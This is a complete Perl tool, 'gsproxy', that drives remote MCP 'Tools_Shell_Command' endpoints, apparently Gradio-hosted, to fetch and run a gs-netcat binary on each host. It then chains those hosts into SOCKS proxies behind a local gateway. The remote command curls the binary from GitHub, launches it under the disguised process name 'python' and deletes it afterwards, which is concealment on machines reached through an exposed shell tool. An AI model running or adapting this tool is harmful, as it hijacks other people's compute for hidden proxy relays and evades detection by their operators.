gsproxy/gsproxy.pl

#!/usr/bin/env perl
# GSproxy: standalone Perl gs-netcat SOCKS proxy setup center
#
# Reads a CSV config of  endpoint,secret,port[,label]  and, for every row:
#   1. brings up a remote SOCKS server through an MCP Tools_Shell_Command
#      call (mechanism from mcp_shell.sh) using the command shape from
#      proxy-up.sh (gs-netcat -lSD -s SECRET, daemonized on the remote);
#   2. starts a local gs-netcat SOCKS client (gs-netcat -D -p PORT -s SECRET);
#   3. monitors each local SOCKS proxy and logs every status change;
# then exposes a gateway SOCKS port that relays to the first alive proxy
#
# Core modules only, no deps
#
# Created by Luxferre in 2026, released into the public domain

use strict;
use warnings;
use Getopt::Long;
use IO::Socket::INET;
use IO::Select;
use POSIX qw(:sys_wait_h setsid strftime);
use HTTP::Tiny;
use JSON::PP;
use Time::HiRes qw(sleep);
use File::Spec;
use Errno qw(EINTR EAGAIN);
use File::Basename qw(dirname);

my $NL = chr(10);
my $SQ = chr(39);
my $BS = chr(92);

my $SCRIPT_DIR = dirname(File::Spec->rel2abs($0));

my %opt = (
  config      => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.csv'),
  log         => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.log'),
  pidfile     => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.pid'),
  state       => File::Spec->catfile($SCRIPT_DIR, 'gsproxy.state'),
  gateway     => 1080,
  bind        => '0.0.0.0',
  interval    => 30,
  timeout     => 10,
  mcp_timeout => 60,
  test_host   => 'www.google.com',
  test_port   => 443,
  workdir     => '.',
  gs_netcat   => 'gs-netcat',
  mcp_path    => '/gradio_api/mcp/',
  insecure    => 0,
  verbose     => 0,
  no_mcp      => 0,
  no_local    => 0,
  no_bringup  => 0,
  list        => 0,
  daemon      => 1,
  once        => 0,
  stop        => 0,
  status      => 0,
  selftest    => 0,
  help        => 0,
);

GetOptions(
  'config=s'       => \$opt{config},
  'log=s'          => \$opt{log},
  'pidfile=s'      => \$opt{pidfile},
  'state=s'        => \$opt{state},
  'gateway-port=i' => \$opt{gateway},
  'bind=s'         => \$opt{bind},
  'interval=i'     => \$opt{interval},
  'timeout=i'      => \$opt{timeout},
  'mcp-timeout=i'  => \$opt{mcp_timeout},
  'test-host=s'    => \$opt{test_host},
  'test-port=i'    => \$opt{test_port},
  'workdir=s'      => \$opt{workdir},
  'gs-netcat=s'    => \$opt{gs_netcat},
  'insecure'       => \$opt{insecure},
  'verbose|v'      => \$opt{verbose},
  'no-mcp'         => \$opt{no_mcp},
  'no-local'       => \$opt{no_local},
  'no-bringup'     => \$opt{no_bringup},
  'list'           => \$opt{list},
  'daemon!'        => \$opt{daemon},
  'once'           => \$opt{once},
  'stop'           => \$opt{stop},
  'status'         => \$opt{status},
  'selftest'       => \$opt{selftest},
  'help|h'         => \$opt{help},
) or usage(2);

usage(0) if $opt{help};
selftest() if $opt{selftest};
if ($opt{stop})   { stop_daemon(); exit 0; }
if ($opt{status}) { exit(do_status()); }

sub usage {
  my ($code) = @_;
  my $fh = $code ? *STDERR : *STDOUT;
  print {$fh} <<USAGE;
gsproxy.pl - Perl gs-netcat SOCKS proxy setup center

Usage: gsproxy.pl [options]

Options:
  --config FILE        CSV config: endpoint,secret,port[,label] (default ./gsproxy.csv)
  --gateway-port PORT  Gateway SOCKS port mapped to first alive SOCKS (default 1080)
  --bind ADDR          Address the gateway SOCKS listens on (default 0.0.0.0)
  --interval SEC       Monitor interval seconds (default 30)
  --timeout SEC        Per-check timeout seconds (default 10)
  --mcp-timeout SEC    MCP Tools_Shell_Command timeout (default 60)
  --test-host HOST     Host probed through each SOCKS (default www.google.com)
  --test-port PORT     Port probed through each SOCKS (default 443)
  --workdir DIR        Remote workdir for the MCP call (default .)
  --gs-netcat PATH     gs-netcat binary (default: from PATH)
  --log FILE           Log file (default ./gsproxy.log)
  --pidfile FILE       Pidfile (default ./gsproxy.pid)
  --state FILE         Runtime state file (default ./gsproxy.state)
  --insecure           Do not verify TLS certificates for the MCP endpoint
  --no-mcp             Skip the remote MCP bring-up call
  --no-local           Skip the local gs-netcat client start
  --no-bringup         Monitor only; never (re)start proxies
  --no-daemon          Run in the foreground
  --once               Single monitor pass then exit
  --list               Parse the config and print rows, then exit
  --status             Report whether the daemon is running
  --stop               Stop a running daemon
  --selftest           Run offline self-tests
  -h, --help           Show this help
USAGE
  exit $code;
}

sub strip_eol {
  my ($s) = @_;
  chomp $s;
  chop $s if length($s) && ord(substr($s, -1)) == 13;
  return $s;
}

sub now_utc { return strftime('%Y-%m-%dT%H:%M:%SZ', gmtime(time())); }

sub logmsg {
  my ($msg) = @_;
  my $line = '[' . now_utc() . '] ' . $msg . $NL;
  if (open my $fh, '>>', $opt{log}) { print $fh $line; close $fh; }
  print STDERR $line if $opt{verbose};
}

sub shq {
  my ($s) = @_
  ;
  $s = '' unless defined $s;
  my $out = $SQ;
  for my $ch (split //, $s) {
    if ($ch eq $SQ) { $out .= $SQ . $BS . $SQ . $SQ; }
    else { $out .= $ch; }
  }
  return $out . $SQ;
}

sub which {
  my ($name) = @_;
  return $name if index($name, '/') >= 0 && -x $name;
  for my $d (split /:/, ($ENV{PATH} || '')) {
    next unless length $d;
    my $p = $d . '/' . $name;
    return $p if -x $p;
  }
  return undef;
}

sub mask {
  my ($s) = @_;
  $s = '' unless defined $s;
  return '***' if length($s) <= 2;
  return substr($s, 0, 2) . '***';
}

sub one_line {
  my ($s) = @_;
  $s = '' unless defined $s;
  $s =~ s/[[:space:]]+/ /g;
  return substr($s, 0, 300);
}

sub read_exact {
  my ($fh, $n, $to) = @_;
  $to = 5 unless defined $to && $to > 0;
  my $sel = IO::Select->new($fh);
  my $buf = '';
  while (length($buf) < $n) {
    return undef unless $sel->can_read($to);
    my $r = sysread($fh, my $chunk, $n - length($buf));
    return undef unless defined $r && $r > 0;
    $buf .= $chunk;
  }
  return $buf;
}

sub read_config {
  my ($file) = @_;
  open my $fh, '<', $file or die 'cannot open config ' . $file . ': ' . $! . $NL;
  my @rows;
  my $lineno = 0;
  while (my $line = <$fh>) {
    $lineno++;
    $line = strip_eol($line);
    next if $line =~ /^[[:space:]]*$/;
    next if $line =~ /^[[:space:]]*[#]/;
    my @f = split /,/, $line, -1;
    for (@f) { s/^[[:space:]]+//; s/[[:space:]]+$//; }
    if ($f[0] =~ /^(endpoint|base|base_url|mcp|base_mcp_endpoint)$/i
        && (defined $f[2] ? $f[2] : '') !~ /^[0-9]+$/) {
      next;
    }
    my ($endpoint, $secret, $port, $label) = @f;
    if (!defined $endpoint || !length $endpoint || !defined $secret || !defined $port) {
      warn 'config line ' . $lineno . ': need endpoint,secret,port' . $NL;
      next;
    }
    if ($port !~ /^[0-9]+$/ || $port < 1 || $port > 65535) {
      warn 'config line ' . $lineno . ': invalid port ' . $port . $NL;
      next;
    }
    $label = 'row' . $lineno unless defined $label && length $label;
    push @rows, {
      endpoint => $endpoint,
      secret   => $secret,
      port     => $port + 0,
      label    => $label,
      state    => undef,
    };
  }
  close $fh;
  return \@rows;
}

sub parse_sse {
  my ($body) = @_;
  my @d = ($body =~ /^data:[[:space:]]*(.*)$/mg);
  return @d ? $d[-1] : $body;
}

sub mcp_take_session {
  my ($hdr, $res) = @_;
  return unless ref $res eq 'HASH' && ref $res->{headers} eq 'HASH';
  for my $k (keys %{ $res->{headers} }) {
    if (lc $k eq 'mcp-session-id') { $hdr->{'Mcp-Session-Id'} = $res->{headers}{$k}; last; }
  }
}

sub mcp_post {
  my ($http, $url, $hdr, $body) = @_;
  my $tries = 3;
  my $r;
  for my $i (1 .. $tries) {
    $r = $http->post($url, { headers => $hdr, content => $body });
    return $r if $r->{success};
    my $st = defined $r->{status} ? $r->{status} : 0;
    last if $st >= 400 && $st < 500 && $st != 408 && $st != 429;
    sleep($i) if $i < $tries;
  }
  return $r;
}

sub mcp_call {
  my ($endpoint, $cmd) = @_;
  my $url = $endpoint;
  $url =~ s{/+$}{};
  if ($url !~ m{/gradio_api/mcp/?$} && $url !~ m{/mcp/?$}) {
    $url .= $opt{mcp_path};
  }
  my $http = HTTP::Tiny->new(
    timeout    => $opt{mcp_timeout} + 30,
    verify_SSL => $opt{insecure} ? 0 : 1,
  );
  my $hdr = {
    'Content-Type' => 'application/json',
    'Accept'       => 'application/json, text/event-stream',
  };
  my $json = JSON::PP->new->utf8->allow_nonref;
  my $init = $json->encode({
    jsonrpc => '2.0', id => 1, method => 'initialize',
    params  => {
      protocolVersion => '2024-11-05',
      capabilities    => {},
      clientInfo      => { name => 'gsproxy', version => '1.0' },
    },
  });
  my $ir = mcp_post($http, $url, $hdr, $init);
  return (0, 'MCP initialize HTTP ' . $ir->{status} . ' ' . $ir->{reason}) unless $ir->{success};
  mcp_take_session($hdr, $ir);
  my $ij = eval { $json->decode(parse_sse($ir->{content})) };
  if ($ij && ref $ij eq 'HASH' && $ij->{error}) {
    return (0, 'MCP initialize error: ' . (defined $ij->{error}{message} ? $ij->{error}{message} : 'unknown'));
  }
  my $note = $json->encode({ jsonrpc => '2.0', method => 'notifications/initialized' });
  my $nr = mcp_post($http, $url, $hdr, $note);
  mcp_take_session($hdr, $nr);
  my $call = $json->encode({
    jsonrpc => '2.0', id => 2, method => 'tools/call',
    params  => {
      name      => 'Tools_Shell_Command',
      arguments => {
        command => $cmd,
        workdir => $opt{workdir},
        timeout => $opt{mcp_timeout} + 0,
      },
    },
  });
  my $r = mcp_post($http, $url, $hdr, $call);
  if (!$r->{success}) {
    return (0, 'HTTP ' . $r->{status} . ' ' . $r->{reason});
  }
  my $data = parse_sse($r->{content});
  my $j = eval { $json->decode($data) };
  return (0, 'invalid JSON: ' . substr(defined $data ? $data : '', 0, 200)) unless $j;
  return (0, 'ERROR: ' . (defined $j->{error}{message} ? $j->{error}{message} : 'unknown'))
    if $j->{error};
  my $content = (ref $j->{result} eq 'HASH' && ref $j->{result}{content} eq 'ARRAY')
    ? $j->{result}{content} : [];
  my @text;
  for my $item (@$content) {
    next unless (defined $item->{type} ? $item->{type} : '') eq 'text';
    push @text, $item->{text};
  }
  return (1, join($NL, @text));
}

sub _socks_handshake {
  my ($s) = @_;
  $s->autoflush(1);
  my $greet = pack('C*', 5, 1, 0);
  return 0 unless syswrite($s, $greet) == length($greet);
  my $g = read_exact($s, 2, $opt{timeout});
  return 0 unless defined $g && $g eq pack('C*', 5, 0);
  my $host = $opt{test_host};
  my $req = pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', $opt{test_port});
  return 0 unless syswrite($s, $req) == length($req);
  my $rep = read_exact($s, 4, $opt{timeout});
  return 0 unless defined $rep;
  return (ord(substr($rep, 0, 1)) == 5 && ord(substr($rep, 1, 1)) == 0) ? 1 : 0;
}

sub socks_alive {
  my ($port) = @_;
  my $s = IO::Socket::INET->new(
    PeerAddr => '127.0.0.1',
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => $opt{timeout},
  ) or return 0;
  my $ok = _socks_handshake($s);
  close $s;
  return $ok;
}

sub target_cmd {
  my ($secret) = @_;
  my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz';
  my $args = shq('-lSD -s ' . $secret);
  return qq{curl -fsSL $url | tar xz && GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
}

sub teardown_cmd {
  my ($secret) = @_;
  my $pat = shq('GSOCKET_ARGS=-lSD -s ' . $secret);
  return 'for p in /proc/[0-9]*; do '
    . 'grep -Fq -a -- ' . $pat . ' $p/environ 2>/dev/null && '
    . 'kill $(basename $p) 2>/dev/null; '
    . 'done; true';
}

sub read_proc_file {
  my ($path) = @_;
  open my $fh, '<', $path or return undef;
  local $/;
  my $c = <$fh>;
  close $fh;
  return $c;
}

sub find_local_pids {
  my %ports = map { $_ => 1 } @_;
  my @pids;
  return @pids unless %ports;
  opendir my $dh, '/proc' or return @pids;
  for my $d (readdir $dh) {
    next unless $d =~ /^[0-9]+$/;
    my $raw = read_proc_file('/proc/' . $d . '/cmdline');
    next unless defined $raw && length $raw;
    my $flat = join(' ', split /[[:cntrl:]]/, $raw);
    next unless $flat =~ /gs-netcat/;
    next unless $flat =~ /(?:^|[[:space:]])-D(?:[[:space:]]|$)/;
    next unless $flat =~ /(?:^|[[:space:]])-p[[:space:]]+([0-9]+)/;
    push @pids, $d if $ports{$1};
  }
  closedir $dh;
  return @pids;
}

sub teardown_local {
  my ($rows) = @_;
  my @pids = find_local_pids(map { $_->{port} } @$rows);
  for my $pid (@pids) { kill('TERM', $pid); logmsg('teardown: TERM local gs-netcat pid ' . $pid); }
  return scalar @pids;
}

sub teardown_remote {
  my ($rows) = @_;
  return 0 if $opt{no_mcp};
  my $n = 0;
  for my $e (@$rows) {
    my ($ok, $out) = mcp_call($e->{endpoint}, teardown_cmd($e->{secret}));
    logmsg('MCP teardown ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
    $n++ if $ok;
  }
  return $n;
}

sub read_rows_or_empty {
  my $r = eval { read_config($opt{config}) };
  return () unless $r && ref $r eq 'ARRAY';
  return @$r;
}

sub start_local {
  my ($e) = @_;
  my $gn = which($opt{gs_netcat});
  return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn;
  my $port = $e->{port};
  my $cmd = $gn . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
  system($cmd . q{ >/dev/null 2>&1 &});
  return (1, 'started local gs-netcat on 127.0.0.1:' . $port);
}

sub bring_up {
  my ($e) = @_;
  my $label = $e->{label};
  my $port = $e->{port};
  logmsg(qq{bring-up $label: secret } . mask($e->{secret}) . qq{ port $port});
  if (!$opt{no_mcp}) {
    my ($ok, $out) = mcp_call($e->{endpoint}, target_cmd($e->{secret}));
    logmsg('MCP ' . $e->{endpoint} . ': ' . ($ok ? 'ok' : 'failed') . ' ' . one_line($out));
  }
  if (!$opt{no_local}) {
    my ($ok, $msg) = start_local($e);
    logmsg('local: ' . $msg);
  }
  return 1;
}

sub write_state {
  my ($alive) = @_;
  open my $fh, '>', $opt{state} or return;
  my $first = @$alive ? $alive->[0] : '';
  print $fh $first, $NL;
  print $fh join(' ', @$alive), $NL;
  close $fh;
}

sub read_state_port {
  open my $fh, '<', $opt{state} or return undef;
  my $line = <$fh>;
  close $fh;
  return undef unless defined $line;
  $line = strip_eol($line);
  $line =~ s/[[:space:]]+$//;
  return undef unless $line =~ /^[0-9]+$/;
  return $line + 0;
}

sub pump {
  my ($c, $u) = @_;
  $c->autoflush(1);
  $u->autoflush(1);
  $SIG{PIPE} = 'IGNORE';
  my $sel = IO::Select->new($c, $u);
  my %is_client = (fileno($c) => 1);
  while (1) {
    my @ready = $sel->can_read(300);
    return unless @ready;
    for my $fh (@ready) {
      my $n = sysread($fh, my $buf, 65536);
      if (!defined $n) {
        next if $! == EINTR || $! == EAGAIN;
        my $op = $is_client{fileno($fh)} ? $u : $c;
        eval { shutdown($op, 1) };
        $sel->remove($fh);
        next;
      }
      if ($n == 0) {
        my $op = $is_client{fileno($fh)} ? $u : $c;
        eval { shutdown($op, 1) };
        $sel->remove($fh);
        next;
      }
      my $dst = $is_client{fileno($fh)} ? $u : $c;
      my $off = 0;
      while ($off < length $buf) {
        my $w = syswrite($dst, $buf, length($buf) - $off, $off);
        unless (defined $w && $w > 0) {
          next if defined $w && $! == EINTR;
          eval { shutdown($dst, 1) };
          $sel->remove($dst) if $sel->exists($dst);
          last;
        }
        $off += $w;
      }
    }
    last unless $sel->count;
  }
}

sub handle_gateway_conn {
  my ($c) = @_;
  my $up = read_state_port();
  return unless defined $up;
  my $u = IO::Socket::INET->new(
    PeerAddr => '127.0.0.1',
    PeerPort => $up,
    Proto    => 'tcp',
    Timeout  => 10,
  ) or return;
  eval { pump($c, $u) };
  close $u;
  close $c;
}

sub start_gateway {
  my $gw = $opt{gateway};
  my $bind = $opt{bind};
  my $pid = fork();
  return $pid if $pid;
  $SIG{TERM} = sub { exit 0 };
  $SIG{INT}  = sub { exit 0 };
  my $lsn = IO::Socket::INET->new(
    LocalAddr => $bind,
    LocalPort => $gw,
    Proto     => 'tcp',
    Listen    => 128,
    ReuseAddr => 1,
  ) or do { logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!); exit 1; };
  logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
  while (my $c = $lsn->accept) {
    my $p = fork();
    if (defined $p && $p == 0) {
      close $lsn;
      handle_gateway_conn($c);
      exit 0;
    }
    close $c;
    1 while waitpid(-1, WNOHANG) > 0;
  }
  exit 0;
}

my %async_jobs;

sub spawn_bringup {
  my ($e) = @_;
  return 0 if $e->{bringing_up};
  my $pid = fork();
  return 0 unless defined $pid;
  if ($pid == 0) {
    $SIG{TERM} = 'DEFAULT';
    $SIG{INT}  = 'DEFAULT';
    eval { bring_up($e) };
    exit 0;
  }
  $async_jobs{$pid} = $e;
  $e->{bringing_up} = 1;
  return $pid;
}

sub reap_jobs {
  for my $pid (keys %async_jobs) {
    my $r = waitpid($pid, WNOHANG);
    next if $r == 0;
    my $e = delete $async_jobs{$pid};
    $e->{bringing_up} = 0 if $e;
  }
}

sub monitor_once {
  my ($rows) = @_;
  reap_jobs() unless $opt{once};
  my @alive;
  for my $e (@$rows) {
    my $label = $e->{label};
    my $port = $e->{port};
    my $now = socks_alive($port) ? 'alive' : 'dead';
    my $prev = $e->{state};
    if (!defined $prev || $prev ne $now) {
      logmsg(qq{SOCKS $label 127.0.0.1:$port is $now});
      if ($now eq 'dead') {
        if (!$opt{no_bringup}) {
          if ($opt{once}) { bring_up($e); }
          else { spawn_bringup($e); }
        }
      } elsif (defined $prev && $prev eq 'dead') {
        logmsg(qq{SOCKS $label 127.0.0.1:$port recovered});
      }
    }
    $e->{state} = $now;
    push @alive, $port if $now eq 'alive';
  }
  write_state(\@alive);
  return \@alive;
}

sub write_pidfile {
  my @pids = @_;
  open my $fh, '>', $opt{pidfile} or return;
  print $fh join($NL, @pids), $NL;
  close $fh;
}

sub read_pidfile {
  open my $fh, '<', $opt{pidfile} or return ();
  my @out;
  for my $line (<$fh>) {
    $line = strip_eol($line);
    $line =~ s/[[:space:]]+$//;
    push @out, $line if $line =~ /^[0-9]+$/;
  }
  close $fh;
  return @out;
}

sub stop_daemon {
  my @pids = read_pidfile();
  my $any = 0;
  for my $p (@pids) {
    if (kill(0, $p)) { kill('TERM', $p); logmsg('stopped pid ' . $p); $any = 1; }
  }
  if (@pids) {
    my @now = read_pidfile();
    my %handled = map { $_ => 1 } @pids;
    my $same = (@now == @pids) && !grep { !$handled{$_} } @now;
    unlink $opt{pidfile} if $same;
  }
  my @rows = read_rows_or_empty();
  my $nl = teardown_local([@rows]);
  my $nr = teardown_remote([@rows]);
  logmsg('teardown: local gs-netcat=' . $nl . ' remote gs-netcat=' . $nr);
  if ($any) { print 'stopped' . $NL; }
  elsif (@pids) { print 'no running daemon (stale pidfile)' . $NL; }
  else { print 'no pidfile' . $NL; }
}

sub do_status {
  my @pids = read_pidfile();
  my @live = grep { kill(0, $_) } @pids;
  if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; }
  print 'gsproxy not running' . $NL;
  return 1;
}

sub cleanup {
  my ($gwpid, $rows) = @_;
  kill('TERM', $gwpid) if $gwpid;
  unlink $opt{pidfile};
  if ($rows) {
    my $nl = teardown_local($rows);
    logmsg('teardown: local gs-netcat stopped=' . $nl);
    my $nr = teardown_remote($rows);
    logmsg('teardown: remote gs-netcat stopped=' . $nr);
  }
}

sub run_foreground {
  my ($rows) = @_;
  my $gwpid;
  if (!$opt{once}) {
    $gwpid = start_gateway();
    write_pidfile($$, $gwpid);
    $SIG{TERM} = sub { cleanup($gwpid, $rows); exit 0 };
    $SIG{INT}  = sub { cleanup($gwpid, $rows); exit 0 };
    logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway}
      . ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's');
  }
  while (1) {
    monitor_once($rows);
    last if $opt{once};
    sleep $opt{interval};
  }
  cleanup($gwpid, $rows) if $gwpid;
}

sub fake_socks_server {
  my ($lsn) = @_;
  while (my $c = $lsn->accept) {
    my $p = fork();
    if (defined $p && $p == 0) {
      close $lsn;
      $c->autoflush(1);
      my $g = read_exact($c, 3, 5);
      if (defined $g) {
        syswrite($c, pack('C*', 5, 0));
        my $hdr = read_exact($c, 4, 5);
        if (defined $hdr) {
          my $atyp = ord(substr($hdr, 3, 1));
          if ($atyp == 1) { read_exact($c, 4, 5); }
          elsif ($atyp == 3) { my $l = read_exact($c, 1, 5); read_exact($c, ord($l), 5) if defined $l; }
          elsif ($atyp == 4) { read_exact($c, 16, 5); }
          read_exact($c, 2, 5);
          syswrite($c, pack('C*', 5, 0, 0, 1, 0, 0, 0, 0, 0, 0));
          while (1) {
            my $n = sysread($c, my $b, 4096);
            last unless defined $n && $n > 0;
            syswrite($c, $b);
          }
        }
      }
      exit 0;
    }
    close $c;
    1 while waitpid(-1, WNOHANG) > 0;
  }
}

sub selftest {
  my $fails = 0;
  my $ok = sub {
    my ($cond, $name) = @_;
    if ($cond) { print 'PASS ' . $name . $NL; }
    else       { print 'FAIL ' . $name . $NL; $fails++; }
  };

  my $tmp = '/tmp';
  mkdir $tmp unless -d $tmp;

  my $csv = $tmp . '/gsproxy_selftest.csv';
  open my $cf, '>', $csv or die 'selftest: ' . $! . $NL;
  my @lines = (
    'endpoint,secret,port,label',
    'https://mcp.example.org,sekret123,20001,alpha',
    'https://mcp.other.org,topsecret9,20002,beta',
    '# a comment',
    '',
  );
  print $cf join($NL, @lines), $NL;
  close $cf;

  my $r = read_config($csv);
  $ok->(scalar(@$r) == 2, 'csv row count');
  $ok->($r->[0]{endpoint} eq 'https://mcp.example.org', 'csv endpoint');
  $ok->($r->[0]{secret} eq 'sekret123', 'csv secret');
  $ok->($r->[0]{port} == 20001, 'csv port');
  $ok->($r->[0]{label} eq 'alpha', 'csv label');

  my $tc = target_cmd('An71Z06C0al1710n');
  $ok->(index($tc, qq{'-lSD -s An71Z06C0al1710n'}) >= 0, 'target_cmd secret');
  $ok->(index($tc, q{$(uname -m)}) >= 0, 'target_cmd arch literal');

  my $tq = target_cmd('ab' . chr(39) . 'cd');
  $ok->(index($tq, chr(39) . chr(92) . chr(39)) >= 0, 'target_cmd quotes secret');

  my $td = teardown_cmd('sekret123');
  $ok->(index($td, 'GSOCKET_ARGS=-lSD -s sekret123') >= 0, 'teardown_cmd secret');

  $ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty');

  $opt{timeout} = 3;

  my $lsn = IO::Socket::INET->new(
    LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp',
    Listen => 16, ReuseAddr => 1,
  ) or die 'selftest: cannot listen: ' . $! . $NL;
  my $sport = $lsn->sockport;
  my $spid = fork();
  if (defined $spid && $spid == 0) { fake_socks_server($lsn); exit 0; }
  sleep 0.3;
  $ok->(socks_alive($sport), 'socks_alive live');

  my $dead = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
  my $dport = $dead->sockport;
  close $dead;
  $ok->(!socks_alive($dport), 'socks_alive dead');

  my $free = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
  my $gwport = $free->sockport;
  close $free;
  $opt{gateway} = $gwport;
  $opt{state} = $tmp . '/gsproxy_selftest.state';
  $opt{log}   = $tmp . '/gsproxy_selftest.log';
  open my $sf, '>', $opt{state} or die 'selftest state: ' . $! . $NL;
  print $sf $sport . $NL . $sport . $NL;
  close $sf;

  my $gwpid = start_gateway();
  sleep 0.3;

  my $cli = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport, Proto => 'tcp', Timeout => 3);
  if ($cli) {
    $cli->autoflush(1);
    syswrite($cli, pack('C*', 5, 1, 0));
    my $greply = read_exact($cli, 2, 3);
    $ok->(defined $greply && $greply eq pack('C*', 5, 0), 'gateway socks greeting');
    my $host = 'example.com';
    syswrite($cli, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443));
    my $rep = read_exact($cli, 4, 3);
    $ok->(defined $rep && ord(substr($rep, 1, 1)) == 0, 'gateway CONNECT relayed');
    close $cli;
  } else {
    $ok->(0, 'gateway connect');
  }

  kill('TERM', $gwpid) if $gwpid;
  kill('TERM', $spid) if $spid;
  waitpid($gwpid, 0) if $gwpid;
  waitpid($spid, 0) if $spid;

  print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL));
  exit($fails ? 1 : 0);
}

my $rows = read_config($opt{config});

if ($opt{list}) {
  printf('%-40s %-14s %-6s %s' . $NL, 'ENDPOINT', 'SECRET', 'PORT', 'LABEL');
  for my $e (@$rows) {
    printf('%-40s %-14s %-6d %s' . $NL, $e->{endpoint}, mask($e->{secret}), $e->{port}, $e->{label});
  }
  exit 0;
}

die 'no usable rows in ' . $opt{config} . $NL unless @$rows;

for my $e (@$rows) {
  if ($e->{port} == $opt{gateway}) {
    logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label});
  }
}

if ($opt{once} || !$opt{daemon}) {
  run_foreground($rows);
  exit 0;
}

if (!$ENV{GSPROXY_DAEMON}) {
  my @old = read_pidfile();
  if (grep { kill(0, $_) } @old) {
    print 'gsproxy already running. Use --stop first.' . $NL;
    exit 1;
  }
  unlink $opt{pidfile};
  $ENV{GSPROXY_DAEMON} = 1;
  my $pid = fork();
  if ($pid) {
    print 'gsproxy daemon started (pid ' . $pid . ')' . $NL;
    exit 0;
  }
  setsid();
  open STDOUT, '>>', $opt{log};
  open STDERR, '>&STDOUT';
  open STDIN, '<', '/dev/null';
}

run_foreground($rows);
exit 0;